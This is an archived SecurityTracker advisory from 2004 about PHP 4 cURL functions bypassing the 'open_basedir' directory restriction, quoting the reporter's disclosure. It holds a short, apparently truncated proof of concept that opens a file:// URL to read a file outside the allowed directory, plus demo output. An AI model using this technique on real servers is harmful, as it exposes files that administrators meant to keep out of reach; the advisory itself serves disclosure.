Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   


Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker

Category:   Application (Generic)  >   PHP Vendors:   PHP Group
PHP cURL Functions Let Scripts Byass the 'open_basedir' Directory Restrictions
SecurityTracker Alert ID:  1011984
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Oct 28 2004
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Version(s): Only tested on PHP 4
Description:   A vulnerability was reported in PHP in the cURL functions. A script can bypass the 'open_basedir' directory setting.

FraMe from reported that a local user can invoke the cURL (libcurl) functions to bypass the 'open_basedir' restrictions in the 'php.ini' file and access files in other directories.

A demonstration exploit is provided:

$ch = curl_init("file:///etc/parla");
echo $file

Impact:   A script can bypass the 'open_basedir' directory setting to access files on the target system.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Access control error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Date:  Wed, 27 Oct 2004 18:26:23 +0200
Subject:  PHP4 cURL functions bypass open_basedir

Subject: PHP4 cURL functions bypass open_basedir
Author: frame at
Product: PHP4 compile with cURL (not tested in PHP5)
Vendor: PHP/Zend
Vendor URL:
Tipe: Local
Risk: Low/Medium
PHP cURL functions bypass open_basedir
protection, so users can navigate through
For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions.
== Proof of concept (curl.php)
$ch = curl_init("file:///etc/parla");
echo $file
== Demo
$ cat /etc/parla
don't read please!
$ links -dump http://localhost/curltest/curl.php
don't read please!

== Release Timeline
No release timeline.

FraMe <>


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

Copyright 2017, LLC